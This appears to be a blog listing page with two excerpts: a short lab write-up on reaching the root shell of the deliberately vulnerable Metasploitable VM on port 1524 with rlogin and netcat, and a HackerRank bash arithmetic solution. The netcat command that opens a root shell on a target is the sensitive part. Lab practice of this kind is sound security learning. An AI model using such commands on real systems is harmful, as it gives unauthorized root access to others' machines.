Skip to main content

Explot Metasploitable Root shell

                             Metasploitable Root shell 1524/tcp             open                 shell              Metasploitable root shell This was a curiousity… My first attempt was to attempt using rlogin to connect to the port, which did not appear to work correctly, though did seem to work enough to return part of a prompt to the user: root@kali:~# rlogin -p 1524 target oot@metasploitable:/# My next approach was to attempt a simple netcat connection to the host, which ended up being successful: root@kali:~# nc -v target 1524 root@metasploitable:/# id              ...

The World of Numbers hackerrank

                                        The World of Numbers


             Given two integers,  and , find their sum, difference, product, and quotient.
            Input Format
            Two lines containing one integer each ( and , respectively).


     Sample Input
          5
          2
     Sample Output
        7
         3
     10
       2
    Explanation
       5 + 2 = 7
       5 - 2 = 3
       5 * 2 = 10
       5 / 2 = 2 (Integer part)


    Solution

read x
read y
echo $((x + y))
echo $((x - y))
echo $((x * y))
echo $((x / y))
   Written By Sanjay Kumar
                                  
                                                                                                       https://www.instagram.com/sanjayer111/
                                                                                                       https://www.facebook.com/mang786
                                                                                                      https://www.linkedin.com/in/sanjaykumar111/



Comments